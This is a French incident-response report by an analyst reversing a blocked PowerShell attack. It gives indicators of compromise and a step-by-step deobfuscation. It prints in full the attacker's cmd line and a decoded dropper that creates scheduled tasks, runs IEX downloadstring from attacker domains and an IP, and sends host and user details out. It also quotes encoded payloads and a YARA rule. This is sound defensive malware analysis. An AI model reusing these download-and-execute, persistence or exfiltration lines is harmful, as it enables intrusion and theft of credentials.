Rapport de reverse

09 Mars 2021 - Antoine POURCEL

Découverte de l'attaque

La tentative de l'attaque à été découverte sur la console SentinelOne de l'entreprise. Elle à été automatiquement détecté comme malveillante par l'EDR avec les alertes suivantes et à donc été bloquée en conséquence :

```
Evasion

    Suspicious SMB activity was detected.
    MITRE : Discovery [T1135]
    MITRE : Lateral Movement [T1077]

    An obfuscated PowerShell command was detected.
    MITRE : Defense Evasion [T1027]

Reconnaissance

    Suspicious WMI query was identified.
    MITRE : Execution [T1047]
    MITRE : Discovery [T1063]

Infostealer

    Behaves like Mimikatz.
    MITRE : Credential Access [T1098][T1145][T1081]

    Identified read action of sensitive information from LSASS.
    MITRE : Credential Access [T1003]

    Attempts to read sensitive information from LSASS.
    MITRE : Credential Access [T1003]

Post Exploitation

    PowerShell post-exploitation script was executed.
    MITRE : Execution [T1064][T1086]

General

    Powershell execution policy was changed.
    MITRE : Execution [T1086]

Persistence

    Application registered itself to become persistent via scheduled task.
    MITRE : Persistence [T1053]
```

```
Application registered itself to become persistent via service.
MITRE : Persistence [T1050]
```

La commande qui a initiée l'attaque à également été détectée : `cmd /C "netsh.exe firewall add portopening tcp 65353 DNS&netsh interface portproxy add v4tov4 listenport=65353 connectaddress=1.1.1.1 connectport=53&schtasks /create /ru system /sc MINUTE /mo 40 /st 07:00:00 /tn Sync /tr "powershell -nop -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AcAAuAGUAcwB0AG8AbgBpAG4AZQAuAGMAbwBtAC8AcAA/AHMAbQBiACcAKQA=" /F &schtasks /run /tn Sync"`

On peut y remarquer un ajout de règle de pare-feu pour l'écoute du port 65353 avec `netsh.exe` servant pour une redirection DNS sur l'IP 1.1.1.1 et le port 53. Une planification de l'execution d'une commande en powershell est crée avec le nom `Sync`. Cette commande est encodée en base64.

Actions lancées par le maliciel

- Vol de mot de passe
- Agent de Contrôle
- Scan de l'ouverture du port SMB(445) sur les postes du réseau local
- Propagation par PassTheHash et MS17-010

Indices de compromission

- Ouverture du port 65353
- Redirection DNS du port 65353 sur 1.1.1.1:53
- Tache planifié nommé `Sync`
- Tache planifié nommé `Winnet`
- URL contactées :

URL	Fonction
hxxp://pslog.estonine.com	Téléchargement du dropper
hxxp://p.estonine.com	Téléchargement du dropper
hxxps://api.ipify.org	Téléchargement de chaine de caractère (Fermé)
hxxp://188.166.162.201/update.png	Téléchargement du maliciel

- Fichiers crées puis supprimés au chemins suivants :

Nom	Chemin
ccc.log	$env:temp
sign.txt	$env:appdata

Nom	Chemin
flashplayer.tmp	$env:appdata
FlashPlayer.lnk	$env:appdata\Microsoft\Windows\Start Menu\Programs\Startup\

- Fichiers crées :

Nom(s)	SHA1	Poids	Fonctions
update.png	a31ffd5d09ebc00e0aec67634db4145455f62aee	2.3Mo	Contient le code malveillant
p?smb, p?hig, p?low	ba7c17d7804b28a3a0b0e576492c38e37f0b3cd1	2259 octets	Déploiement du maliciel

Le code attaquant est identique en tout point à celui étudié par JohnHammond et est disponible sur sa page GitHub. Son analyse à été publié le 6 mars 2021, 3 jours avant la rédaction de ce rapport. linux-headers-5.10.0-0.bpo.3-amd64

Décodage de la commande

Step 1

Dans une console IPython, nous décodons la ligne de commande powershell :

```
a =
'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbg
B0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AcAAuA
GUAcwB0AG8AbgBpAG4AZQAuAGMAbwBtAC8AcAA/AHMAbQBiACcAKQA='
import base64
base64.b64decode(a).decode('utf-16-le')

> Out[5]: "IEX (New-Object
Net.WebClient).downloadstring('http://p.estonine.com/p?smb')"
```

Comprenant que cette commande procède au téléchargement ainsi qu'à l'éxécution d'un script distant, nous procédons à la récupération et analyse de celui-ci.

Step 2

Le fichier obtenu est un script PowerShell de 2259 octets et de SHA1 ba7c17d7804b28a3a0b0e576492c38e37f0b3cd1

Il consiste en une payload encodée en base64 qui est ensuite décompressé puis chargée en mémoire :

```
Invoke-Expression $(New-Object IO.StreamReader ($(New-Object
IO.Compression.DeflateStream ($(New-Object IO.MemoryStream
(,$([Convert]::FromBase64String('7b0HYBxJliUmL23Ke39K9UrX4HShCIBgEyTYkEAQ7M
GIzeaS7B1pRyMpqyqBymVWZV1mFkDM7Z28995777333nvvvfe6O51OJ/ff/z9cZmQBbPbOStrJn
```

```
iGAqsgfP358Hz8iiheX1e91up2/W706ff36rHqxlW5t//SXxfJ7r/KL/N33Hz36Intz8u3TZuuj
Ox+/+/iT7+/c+17+RTV//fJ3++T7+9/LF19+u3n5u6Vb6S9Mfya98+m979fZ/OR7o4/nV+8+zk+
On7/M6+1076H5ePoTX3ycntLnq9NX0+003d/b1a/u3P9Ufvvk/gP9ZXdHv9xyb+zbHk4+3f84TU
0fD+3nFy8vP7Yfp+mdj3/j5DdOZsWKMErLsniLP+/c2dkbj3e30naaf/zJxz89qdr1allsp4tqt
szq7Ta/2EpX9E2elw39wDu/5BfPp202/SXye96U+S/5MfxOeDSrZUXg6be0bYrn7TJfrC/q4+00
f5ePZ4tpOm+zl3lZPNtOmyafVvXL7bbO2tf8PuFLL9K/6Scp/XJH/qY/rvO3wJk//YWXv8fFcjX
O22y2Wt/dJez3Pt0df0r/PzjYvXv30apt5/IWYBHGLy+3LpZF3QL7WVaVy6tqNr5DmBXlyST/7r
jNX2DwPz35cvsqp0n/vU/P5P0OOukUOGer60m6yrfTZT6bFfP0ajtdVcttomc+b+r8qlql07to/
VmqtOCh/eI7O+kvorfm7cUyL8fLdU3fbJ0Xhm5uSHh3Wect0Wk7ZcRfbxN6Zf46Pf698jRfFiVN
zGJRTVMaEH/T8DdKz99/796y+K6OqFh8l2bwc0JGehRcrutWp/6emfqfJliRqadPafYx9XjBzrY
i3eZL6ooRbu+ih7tp87bJ2vkUtP6F3JlwhuGYHzPjnRI/TJtBTiEwBIEhGY6hv3tMY7jm2V1MEL
Wwk5XPqukEPJMHk+ZmqT/F+KSmccioeEj399NqcTc9ffPVi7Mv0mlzN6U5ymszwRgEdcrjEFzuN
Hl7/QRTKzO3/ykaNNmT6s2jR99v6/xyWZ3QJ9+jtw2K+mb7Ln+DFxkCzdkY3xfLr+g9gkW/L0/H
aDNe5G1z/RoQTGeWqk5i2pkIDPVFH1xV5e+xuttCipfj5YymYj4dLyEPU5WYCysl7yEin6WK9I9
ZvtLfnE64zcwDr3Dyg5m/YdpvmHMC3pl2+qQv3DLz9NWGyWfKNyn4vMcHIRNAMjt80GGCgAOoec
gEYJpvlA8w1mLumAADFT6g38AShg98hamsAD7pcwPg3J4h7rTFos5Xc3rL6T2a2/M0X1230IsZm
yUa1BlA6ls0DmKl7BnmCerzIivPRXEyC9BfRHo7ws9ev4TekZGffnH8ggz5V48ul16LOm/W2mBZ
ZIvq6fiOzGqdk/Ijpcrq8ypUn1v6Mr8x09cVFf1qD3/qN3m9FmPaFvNpffz6S/SBP2m6iLBtRoT
48venDyKaeuuTk0/pm/3P2mICcJ8sq4Jwu1Q0vfflZeLz8oR5vAeG8JV3Gc5lRsjyp5cZfzDNFu
YT+lVmT+wscyJ9UFfUFUnosljMjgWt9Pt5Wb1anrVlsX7SkJYgHMZltiqmxDAvx9dtUa+n+evvb
Umz5mx8584WcU5dr08ILeJhakJ/z842vPx9+9mmHlJwmzCVoGxYCD8J1+2WxILa6Dx9H9aBufp7
xuRW5XhKz098Qf9bEXmVU4QUCk01zWz2xRfX1+DCNlvUFWkkUgBP1bRCpGba1io8+ozN5B30a/n
0++cQm/p7o3yRQQTp//TpKF/Xrfy6lb7L2/UXY4g6aZi5EXNP/YroNMp+MkCBbp2o09/79PVLGl
WZTaryc6BNymaRLU0b6wGcHH+Rkq1fvSPZ4h4q8TUacijwXQ10CZFvb6eXzcn2oqqfqf6Cy7FL+
rsuzrfT3XRVvH2tIL5Ud4Ua0Ns/+fok/ZIUNfEYu5Kf4TdQQifj462tj9LRx+OP6Z/67PN5++bL
8vRZ+/GdlP77jZP/Bw==''))))), [IO.Compression.CompressionMode]::Decompress)),
[Text.Encoding]::ASCII)).ReadToEnd();
```

Step 3

Afin de gagner en temps, nous procédons au décodage de le Payload simplement en copiant le script dans une console PowerShell tout en retirant l'instruction `Invoke-Expression`. En procédant ainsi, nous obetnu le retour suivant :

```
iNvoKE-expRESSIoN( (-jOin[Regex]::MaTCHEs(")'x'+]03[eMohSP$+]4[emOHsP$ ( &
| )63]rahC[,'hwx'eCALPer- 29]rahC[,'cQM' ECALpERc-
421]rahC[,)56]rahC[+57]rahC[+101]rahC[(ECALpERc- 43]rahC[,'C64'
 eCALPer-93]rahC[,'gPv' eCALPer-  )'

diphwx llik

))02..1( tce'+'jbotupni- modnar-teg( p'+'eels'+'

}{hctac}

}{esle}

C64spnohwxC64 tsiLtnemugrA- exe.dmc htaPeliF- ssecorP-tratS

gPvC64gPv + C64)gPvC64 + yekhwx + C64&v?
gnp.etadpu/102.261.661.881//:ptthC64 +
```

```
C64g'+'Pv(gnirts'+'daolnwod.)tneilCbeW.teN tcejbO-weN( XEIC64 + gPvC64gPv +
C64 c- ssapyb pe- neddih w- pon- lle
hsrewop c/C64 = spnohwx

{)0 qe- htgnel.nurhwx(fi

C64gnp.etadpuC64 nrettaP- gnirtS-tceleS AKe enildnammoc '+'tceles AKe
ssecorP_23niW tcejbOimW-teG = nurhwx

{yrt

))03..1( tcej'+'botupni- modnar-teg'+'( peels


}{esle}

C64tenniWC64 nt/ nur/ sksathcs'+'&

}

}{hctac}

C64cexecshwxC64 tsiLtnemugrA- exe.sks'+'athcs htaPeli'+'F- ssecorP-tratS

gPvF/ C64'+'gPv + C64edocbhwx e- ssapyb pe- llehsrewopC64 + gPvC64gPv + C64
rt/ tenniW nt/ 54 om/ ETUNIM cs/ etaerc/C64 = cexe'+'cshwx

)setyBhwx(gnirtS46e'+'saBoT::]trevnoC'+'[ = edocbhwx

)txeThwx(setyBteG.edocinU::]gnidocnE.txeT.metsyS[ = setyBhwx

C64)gPvC64 + tdhwx + '+'C64wol?
p/t'+'en.ndctahc.n'+'dc//:ptthgPv(gnirtsdaolnwod.)tneilCbeW.teN tcejbO-weN(
XEIC64 = txeThwx

{yrt

{esle}

}{hctac}

C64cexecshwxC64 tsiLtn'+'emugrA- exe.sksathcs htaPeliF- ssecorP-tratS

gPvF/ C64gPv + C64edocbhwx e- ssapyb pe-'+' llehsrewopC64 '+'+ gPvC64gPv +
C64 rt/ te'+'nniW nt/ 54 om/ ETUNIM cs/ metsys ur/ etaerc/C64 = cexecshwx

)se'+'tyBhwx(gnirtS46esaBoT::]trevnoC[ = edocbhwx       'e ouverture du
port txeThwx

{yrt

{)timreph'+'wx(fi

elif epyt- htaphwx metI-weN
```

```
{)gPveslaFgPv qe- galfhwx(fi

galfexehwx + C64=SP'+'&C64 + EMANRESU:vnehwx + C64=resu&C64 +
niamoD.)metsysretupmoc_23niw tcejbOimW-teG( + C64=niamod&C64 + galfhwx +
C64=2galf&C64 + erutce'+'tihcrASO.)me'+'tsySgnitarepO_'+
'23niW tcejbOimW-teG(+C6'+'4=tib&C64+noisrev.)metsySgnitarepO_23niW ssalC-
'+' tcejbOimW-teG(+C64=noisrev&C64+vahwx+C64=va&C64+camhwx+C64=camC64 =
yekhwx

)C64rotartsinimdAC6'+'4 ]eloRnItliuBswodniW.lapicnirP.ytiruceS[(eloRnIsI.))
(tnerruCteG::]ytitnedIswodniW.lapicnirP.ytiruceS[]lapicnirPswodniW.lapicnir
P.ytiruceS[(  = timrephwx

htaphwx htap'+'-tset = galfhwx]'+'gnirts[

C64gol.ccccQMcQMpmet:vnehwxC64 = htaphwx

gPvddMMyygPv tamroF- etaD-teG = t'+'dhwx


}{hctac'+'}

)'+'galfexehwx]f'+'er[,ema'+'n'+'hwx,eurt'+'hwx( xetuM.gnidaerhT.metsyS
tcejbO-weN

esalfhwx = galfexehwx

gPvCEXESPcQMlabolGgPv = emanhwx

{yrt

)CAM dnapxe- tcejbo-tcelesAKeCAM r'+'edaeH- vsC-morFtrevnoC AKe1 tsrif- 1
pikS- tcejbO-tceleSAKe'+'VSC OF/ camteg( = camhwx]gnirts['((" ,'.'
,'rIGhtTOlEFt') ) )
```

Step 4

Comme précédamment, nous obtenons une déclaration en mémoire de foncitons qui ne sont cette fois plus encodée en base64, mais obfusquées avec une lecture de droite à gauche (cf dernière ligne du code). Nous procédons comme pour l'étape précédente, en faisant s'executer ce code en remplaçant l'instruction `Ìnvoke-Expression` par `$` afin de faire s'afficher le code en clair dans le descripteur de commande PowerShell. Nous obtenons le résultat suivant :

```
(('[string]xwhmac = (getmac /FO CSV'+'eKASelect-Object -Skip 1 -first 1eKA
ConvertFrom-Csv -Heade'+'r MACeKAselect-object -expand MAC)try{
xwhname = vPgGlobalMQcPSEXECvPg xwhexeflag = xwhflase   New-Object
System.Threading.Mutex (xwh'+'true,xwh'+'n'+'ame,[re'+
'f]xwhexeflag'+')}'+'catch{}xwhd'+'t = Get-Date -Format vPgyyMMddvPgxwhpath
= 46Cxwhenv:tempMQcMQcccc.log46C[string'+']xwhflag = test-'+'path
xwhpathxwhpermit =  ([Security.Principal.WindowsPrincipal]
```

```
[Security.Principal.WindowsIdentity]::GetCurrent()).IsInRo
le([Security.Principal.WindowsBuiltInRole] 4'+'6CAdministrator46C)xwhkey =
46Cmac=2,3Mo et est de SHA1
a31ffd5d09ebc00e0aec67634db4145455f62aee46C+xwhmac+46C&av=46C+xwhav+46C&ver
sion=46C+(Get-WmiObject '+'-Class
Win32_OperatingSystem).version+46C&bit=4'+'6C+(Get-WmiObject
Win32'+'_OperatingSyst'+'em).OSArchit'+'ecture
 + 46C&flag2=46C + xwhflag + 46C&domain=46C + (Get-WmiObject
win32_computersystem).Domain + 46C&user=46C + xwhenv:USERNAME +
46C&'+'PS=46C + xwhexeflagif(xwhflag -eq vPgFalsevPg){     New-Item xwhpath
-type file     if(xw'+'hpermit){   try{             xwhText = 46CIEX (New-
Obj
e'+'ct
Net.WebClient).d'+'ownloadstring(vP'+'ghttp://cdn.'+'chatcdn'+'.ne'+'t/p?
hig46C + xwhdt + 46CvPg)46C             xwhBytes =
[System.Text.Encoding]::Unicode.GetBytes'+'(xwhText) '+'     xwhbcode =
[Convert]::ToBase64String(xwhByt'+'es)            xwhscexec = 46C/create
/ru sys
tem /sc MINUTE /mo 45 /tn Winn'+'et /tr 46C + vPg46CvPg +'+' 46Cpowershell
'+'-ep bypass -e xwhbcode46C + vPg46C /FvPg          Start-Process -
FilePath schtasks.exe -Argume'+'ntList 46Cxwhscexec46C           }catch{}
}else{      try{             xwhText = 46CIEX (New-Object Net.WebClient).
downloadstring(vPghttp://cd'+'n.chatcdn.ne'+'t/p?low46C'+' + xwhdt +
46CvPg)46C         xwhBytes =
[System.Text.Encoding]::Unicode.GetBytes(xwhText)            xwhbcode =
['+'Convert]::ToBas'+'e64String(xwhBytes)            xwhsc'+'exec =
46C/create /sc MINUTE /mo 45 /tn Winnet /tr 46
C + vPg46CvPg + 46Cpowershell -ep bypass -e xwhbcode46C + vPg'+'46C /FvPg
Start-Process -F'+'ilePath schta'+'sks.exe -ArgumentList 46Cxwhscexec46C
}catch{}        }       &'+'schtasks /run /tn 46CWinnet46C}else{}sleep
('+'get-random -inputob'+'ject (1..30))try{   xwhrun
= Get-WmiObject Win32_Process eKA select'+' commandline eKA Select-String -
Pattern 46Cupdate.png46C     if(xwhrun.length -eq 0){        xwhonps =
46C/c powershell -nop -w hidden -ep bypass -c 46C + vPg46CvPg + 46CIEX
(New-Object Net.WebClient).download'+'string(vP'+'g4
6C + 46Chttp://188.166.162.201/update.png?v&46C + xwhkey + 46CvPg)46C +
vPg46CvPg       Start-Process -FilePath cmd.exe -ArgumentList 46Cxwhonps46C
}else{}}catch{}'+'slee'+'p (get-random -inputobj'+'ect (1..20))kill
xwhpid')  -rePLACe 'vPg',[Char]39-rePLACe  '46C'
,[Char]34 -cREpLACE([Char]101+[Char]75+[Char]65),[Char]124  -cREpLACE
'MQc',[Char]92 -rePLACe'xwh',[Char]36) | & ( $PsHOme[4]+$PShoMe[30]+'x')
```

Nous remarquons facilement qu'il s'agit d'un script toujours obfusqué avec des fonctions de décodage, puis d'execution en fin de script (`-rePLACe 'vPg',[Char]39-rePLACe '46C' ,[Char]34 -cREpLACE([Char]101+[Char]75+[Char]65),[Char]124 -cREpLACE 'MQc',[Char]92 -rePLACe'xwh',[Char]36) | & ( $PsHOme[4]+$PShoMe[30]+'x')`)

Nous remplaçons `$PsHOme[4]+$PShoMe[30]+'x'` (qui correspond à l'instruction en PowerShell `iex`) par l'instruction `Out-File output.txt` afin d'obtenir un script en clair que voici :

```
(('
    [string]$mac = (getmac /FO CSV|Select-Object -Skip 1 -first 1|
ConvertFrom-Csv -Header MAC|select-object -expand MAC)
    try{
    $name = 'Global\PSEXEC'
    $exeflag = $flase
    New-Object System.Threading.Mutex ($true,$name,[ref]$exeflag)}catch{}
    $dt = Get-Date -Format 'yyMMdd'
    $path = "$env:temp\\ccc.log"
    [string]$flag = test-path $path
    $permit =  ([Security.Principal.WindowsPrincipal]
[Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Prin
cipal.WindowsBuiltInRole] "Administrator")
    $key = "mac="+$mac+"&av="+$av+"&version="+(Get-WmiObject -Class
Win32_OperatingSystem).version+"&bit="+(Get-WmiObject
Win32_OperatingSystem).OSArchitecture + "&flag2=" + $flag + "&domain=" +
(Get-WmiObject win32_computersystem).Domain + "&user=" + $env:USERNAME +
"&PS=" + $exeflagif($flag -eq 'False'){
     New-Item $path -type file  if($permit){
         try{
            $Text = "IEX (New-Object
Net.WebClient).downloadstring('http://cdn.chatcdn.net/p?hig" + $dt + "')"
            $Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
            $bcode = [Convert]::ToBase64String($Bytes)
            $scexec = "/create /ru system /sc MINUTE /mo 45 /tn Winnet /tr
" + '"' + "powershell -ep bypass -e $bcode" + '" /F'
            Start-Process -FilePath schtasks.exe -ArgumentList "$scexec"
        }catch{}
    }else{
        try{
            $Text = "IEX (New-Object
Net.WebClient).downloadstring('http://cdn.chatcdn.net/p?low" + $dt + "')"
            $Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
            $bcode = [Convert]::ToBase64String($Bytes)
            $scexec = "/create /sc MINUTE /mo 45 /tn Winnet /tr " + '"' +
"powershell -ep bypass -e $bcode" + '" /F'
            Start-Process -FilePath schtasks.exe -ArgumentList "$scexec"
        }catch{}
    }
    &schtasks /run /tn "Winnet"
    }else{

    }sleep (get-random -inputobject (1..30))
    try{
        $run = Get-WmiObject Win32_Process | select commandline | Select-
String -Pattern "update.png"
    if($run.length -eq 0){
        $onps = "/c powershell -nop -w hidden -ep bypass -c " + '"' + "IEX
(New-Object
Net.WebClient).downloadstring('http://188.166.162.201/update.png?v& +
$key')" + '"'
        Start-Process -FilePath cmd.exe -ArgumentList "$onps"
    }else{}}
```

```
    catch{}
    sleep (get-random -inputobject (1..20))kill $pid') | & (
$PsHOme[4]+$PShoMe[30]+'x')
```

Ce script, après la déclaration de quelques variables, va tester les droits de l'utilisateur courant et va effectuer le téléchargement d'une chaine de caractère depuis le domaine hxxp://cdn.chatcdn.net. Le chemin va différer selon les droits de l'utilisateur. Si il est Administrateur, le chemin sera /p?hig suivis de la date (avec le format yyMMdd), dans le cas contraire, le chemin de l'URL sera /p?low (toujours suivis de la date). La chaine de caractère téléchargé est ensuite planifié pour une execution avec powershell. Cette planification est nommé `Winnet`

Il s'avère que les deux fichiers sont identiques entre eux, et identiques avec le fichier téléchargement au début du reverse (SHA1 : ba7c17d7804b28a3a0b0e576492c38e37f0b3cd1 et 2259 octets)

Le script poursuit avec le téléchargement et l'execution d'une autre chaine de caractère depuis une IP. La chaine de caractère est présente dans un fichier nommé update.png. Après téléchargement de celui ci, nous constantons qu'il fait 2,3Mo et est de SHA1 a31ffd5d09ebc00e0aec67634db4145455f62aee.

On remarque également la création d'un fichier `ccc.log` dans le dossier Temp de l'environnement.

Step 5

Le script contenu fonctionne de la même manière que psmb. Il s'agit du déchiffrement puis de la décompression d'une charge utile encodé en base 64 :

```
Invoke-Expression $(New-Object IO.StreamReader ($(New-Object
IO.Compression.DeflateStream ($(New-Object IO.MemoryStream
(,$([Convert]::FromBase64String('7b0HYBxJliUmL23Ke39K9UrX4HShCIBgEyTYkEAQ7M
GIzeaS7B1pRyMpqyqB
[...]
Xr1/mJ9/bH+3eH+3d//72d74sXnz88Z3fOPl/AA==')))),
[IO.Compression.CompressionMode]::Decompress)),
[Text.Encoding]::ASCII)).ReadToEnd();
```

Nous procédons donc comme précédemment pour décoder la charge utile. Le résultat obtenu semble être du code en clair, mais des instruction de désobfuscation en fin de scripts sont remarquables :

```
-CREpLaCE([cHaR]111+[cHaR]86+[cHaR]105+[cHaR]75+[cHaR]121),[cHaR]124 -
rEPlaCE'`',[cHaR]96-rEPlaCE  ''',[cHaR]39 -CREpLaCE'\',[cHaR]92  -rEPlaCE
'"',[cHaR]34-CREpLaCE  '$',[cHaR]36)|&( $eNV:COmSPeC[4,15,25]-JOiN'')
```

Remarquant que l'instruction `$eNV:COmSPeC[4,15,25]` correspond à l'instruction `iex`, nous la retirons, et la remplacons par un `Out-File update_png_clear` obtenir un fichier conpletement clair.

Analyse du code

Vu la rédaction de nom de fonction qui diffère le long du code, de la présence ou non de commentaires, il est vraisemblable que l'attaquant ait récupéré des codes déjà existants. Il a pu être trouvé des codes de Mimikatz, d'agents Empire et d'impacket.

EternalBlue / CobalStrike

La structure du code présent de la ligne 1 à la ligne 795 correspond à celle d'un code PowerShell disponible publiquement (ici) permettant l'exploitation de failles EternalBlue.

Scan local

Un code ligne 1126 permet de scanner des IP locales pour déterminer l'ouverture du port SAMBA (445).

GatherHashes

Le code présent de la ligne 1222 jusqu'à la ligne 1629 est une copie du code présent ici Il permet la récupération d'identifiants depuis la base SAM.

Mimikatz - Empire

Le code débutant à la ligne 1631 jusqu'a la ligne 4311 est similaire au code Invoke-Mimikatz publiquement disponible ici. Seuls des nom de fonctions sont modifié en guise d'obfuscation. De plus, cette règle Yara est déclenchée à la ligne 2783. Elle permet de détecter des injections d'executables en mémoire. Elle est écrite et publié par Benjamin DELPY, le créateur de Mimikatz. Il est donc vraisemblable que le code déclenchant cette règle provienne de Mimikatz.

La règle Yara ci dessous est déclenchée en ligne 3480. Elle permet de détecter la génération d'un agent depuis le framework Empire-Powershell. Il est à supposer que le code déclenchant cette règle provient d'un Agent Empire.

```
rule Empire_PowerShell_Framework_Gen1 {
   meta:
      description = "Detects Empire component"
      license = "https://creativecommons.org/licenses/by-nc/4.0/"
      author = "Florian Roth"
      reference = "https://github.com/adaptivethreat/Empire"
      date = "2016-11-05"
      super_rule = 1
      hash1 =
"1be3e3ec0e364db0c00fad2c59c7041e23af4dd59c4cc7dc9dcf46ca507cd6c8"
      hash2 =
"a3428a7d4f9e677623fadff61b2a37d93461123535755ab0f296aa3b0396eb28"
      hash3 =
"4725a57a5f8b717ce316f104e9472e003964f8eae41a67fd8c16b4228e3d00b3"
      hash4 =
"61e5ca9c1e8759a78e2c2764169b425b673b500facaca43a26c69ff7e09f62c4"
      hash5 =
"eaff29dd0da4ac258d85ecf8b042d73edb01b4db48c68bded2a8b8418dc688b5"
   strings:
      $s1 = "Write-BytesToMemory -Bytes $Shellcode" ascii
      $s2 = "$GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned
```

```
$GetCommandLineAAddrTemp ($Shellcode1.Length)" fullword ascii
   condition:
      ( uint16(0) == 0x7566 and filesize < 4000KB and 1 of them ) or all of
them
}
```

Ces deux informations peuvent nous amener à croire que cette partie du code provient d'un agent Mimikatz produit grâce au Framework Empire PowerShell

PassTheHash

Le code à partir de la ligne 4313 jusqu'à la ligne 7202 est une copie du code disponible ici

Le code à partir de la ligne 7204 jusqu'à la ligne 10044 est une copie du code disponible ici

Ces deux codes sont utilisés pour l'utilisation de vulnérabilités PassTheHash via le protocole SMB.

Code executant

Le reste du code consiste en l'éxécution des précédantes librairies déclarées. On y retrouve la ligne de commande détecté par SentinelOne lors de la découverte de l'attaque, des url de téléchargement des fichiers précédamment analysées ainsi que le déclaration de hash et de mot de passe simple permettant à l'attaquant de mener des tentatives d'authentifications par dictionnaire. On remarque également des créations suivis de suppressions de fichiers aux chemins suivants :

- \AppData\Roaming\sign.txt
- \AppData\Roaming\flashplayer.tmp
- \AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FlashPlayer.lnk